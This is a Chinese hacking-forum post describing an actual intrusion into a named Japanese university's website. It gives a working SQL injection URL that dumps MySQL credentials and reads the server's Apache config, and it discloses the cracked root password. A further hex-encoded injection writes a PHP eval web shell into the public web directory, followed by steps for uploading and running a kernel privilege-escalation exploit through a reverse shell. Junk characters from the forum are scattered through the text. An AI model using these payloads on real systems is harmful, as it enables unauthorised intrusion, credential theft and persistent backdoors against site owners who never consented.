中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
2 I4 _8 o8 h4 @$ K& ^
% x ?+ |: G% h0 T. K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
+ c' @' w. Z9 p( _
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 X5 q; C+ M. D( h
$ C8 Y/ b" x; \
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% q9 o O6 S1 N E) y5 H
3 E7 X3 }" h4 e, h9 x7 I
. G. x7 w( g/ R: J
8 J* N- M ^3 b% R8 u/ y9 i
//@@datadir为数据库文件路径
" z: U( T6 C! b: I5 R; i
5 G/ R- {$ r) Z7 N9 G/ {7 H
0 y. k0 I2 y* o' A* Y4 t2 W# w5 M
//load_file读取网站容器apache的配置文件
b+ I5 i v7 h6 L( z& V% ?
" i( p& m3 t/ T
7 b# h& k+ i' O* o& @. r$ T; n
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
3 Q& [1 c4 _3 Q
复制代码
, H( } H o1 C2 y& R* |& h4 q
1 {1 F& O# q/ Q8 P2 R/ P' k
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
; v; n9 h7 x9 w
9 ?' i! A% R# p" |1 Y; ~
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 Y9 l: r% A6 z; t5 k1 y
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
4 y1 ?- x( H7 Q
/ M/ F+ s) ]5 G; [5 Z& ]0 f' b
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
+ U4 U& k- G/ c1 G
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
{! ?2 {+ I4 Z- [' U V3 `
( f5 Q/ W& H+ ]# c2 Y5 U9 e. }; m
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
9 i$ J( N% g6 e; w& u
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
$ o+ q0 i3 `: c& A9 ^6 b7 F+ ^
直接写一句话:
; w3 P% h/ w4 s4 \- q# K J, R
8 E4 I! L E: v) B) R* l
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
: B! _& w' `7 k9 L
! C8 f2 H$ p) I Q- h
0 f( E8 k9 f! G* R0 O
6 c0 L: i) ~8 @5 z/ X+ t! h
//最后的#是为了闭合前面的语句
8 o8 T2 s" ]3 @1 A
" B, x5 P( J! B8 v' H7 M5 `( c
& T3 \& g; i% @. S4 G
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
6 s, R7 p+ W$ a; {
& R4 _6 ]) r$ u5 I1 L
% e! ]( z( o @& W0 O% x& _
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
, K6 ^; H2 Z* H/ u( F# w
1 {! J8 k5 ?/ L2 r. j4 b7 I
j R, f# V# e( S$ [0 ]; X3 @
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
9 C% f# S4 F7 ~0 @0 t
) z7 N; f# `. W! F
! m' x' L5 h. @1 c5 y1 z9 m- [
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 x9 H. A' l! y- v# v. Y% Y
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
' L1 x1 X7 F2 z; @. v `7 E. ^
复制代码
4 C W% Q( u( N" n7 U+ g" W1 q# {6 g
* `" _/ X6 A8 r& F0 U
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
|( [' D" w+ P" g# C& M, ^ H2 I
通过上述注入语句,我们就得到了一句话木马:
" [, p( M! u& E
; C# o; E3 e8 t5 x0 J6 l
4 T2 W! c; q, N" e9 t0 h+ m
! e7 o2 n9 E, ]2 g- }
' T9 r/ G2 l) d: r, V& l- x
3 ~; j* A/ c8 `' }
http://www.doshisha.ac.jp/english/engnews_img/aa.php
8 T1 x3 a$ y& g& \0 I
复制代码
9 H/ k, N8 c. o/ S% Q* \
7 _6 j5 |! P4 _8 w% K3 F l
用菜刀连接,密码是cmd,如图所示:
/ S7 L) S! G" @, l
然后在命令提示行里看了一下,现在的权限是:
7 ]4 o3 y; b$ Y) g" g. R/ {% s
9 Z/ t* G. S4 p0 _ ]5 @
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
' v. w! T! ]! @, ^) U- B8 ]1 {- c& Q
好在赋权给这个文件夹不需要root,直接执行赋权语句:
- ~( n8 G! v" `" h
% v9 F! x o1 ]# e0 \+ }+ [
* a- I1 C8 k5 o. G4 l ]5 B- S
. r4 t+ e, X. o, ~$ K$ t9 L3 b9 Y
/ X6 A" H! L/ G$ ~: l8 G
- T- |/ W2 O* {- f s" K
chmod +x /tmp/
4 L: U2 i5 t3 _! f% U+ F" N
复制代码
/ t" R0 @3 E0 {2 @1 b$ g8 g
, ?4 v0 l/ m# D l- |: f
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
5 B y w0 p2 h1 F) I
然后就查了一下内核版本:
5 m: u1 h; |# W9 f G" l, n# e$ X
4 D! A- Q0 `9 R; d
1 ?. [- g' z/ S7 ]1 z' T: k# E
/ B) Q! T- r, h& y) l$ Y4 o' O
$ E6 H% b# L1 n+ b* \7 ^& \" C
3 s0 q# N) l6 z, `. \3 W0 F7 K( t0 a
uname-a
$ L& K3 P% M8 \! w) C
~7 e0 t! n; n. N3 {1 {) I! ?
4 V) J& _: C# _6 ` d
//其实lsb_release -a
# w; v3 Z0 ~" Y9 O
复制代码
; g- m% k T4 t( n _
0 ?1 x( [$ K3 p3 V* o1 z! j6 |2 y
如图所示:
5 I. {; ?9 w* G* n% W
V3 ~% o4 W# g+ Z: }
内核版本:linux mainz1 2.6.28-194.e15
* N$ O( O' f' |
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
0 {/ b2 W& q. R) }
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
% \9 U: m% ]% p4 g6 H* R
% ^ w8 k' M5 P# O
然后给予执行权限
# R. e4 B& \) Z, I8 U/ c
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
: j( l9 a3 ?, g, i
$ a( M5 k4 T6 }% t
2 }& H* ]: Z2 u( |, L$ r
. H, S# E4 P" W
; n+ k% m' \) T
/ M" s( Q7 e$ Q# x9 ~% N( G
chmod +x /tmp/2.6.18-194
- X( m3 t0 q: ^# {5 k. G! C0 H! z' z
复制代码 然后直接执行!~
. ~3 [$ u& E W& t; M
2 p! X; y( P w7 K0 l& i
总结:
+ U! R$ h) v1 W+ F$ B; o9 N
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
! ]1 z; e6 B/ C Y9 u0 H1 X+ v$ W
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
+ D1 e$ W- ]- f6 e0 V# X p- n
/ d% P+ I9 _' S1 i7 Z
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2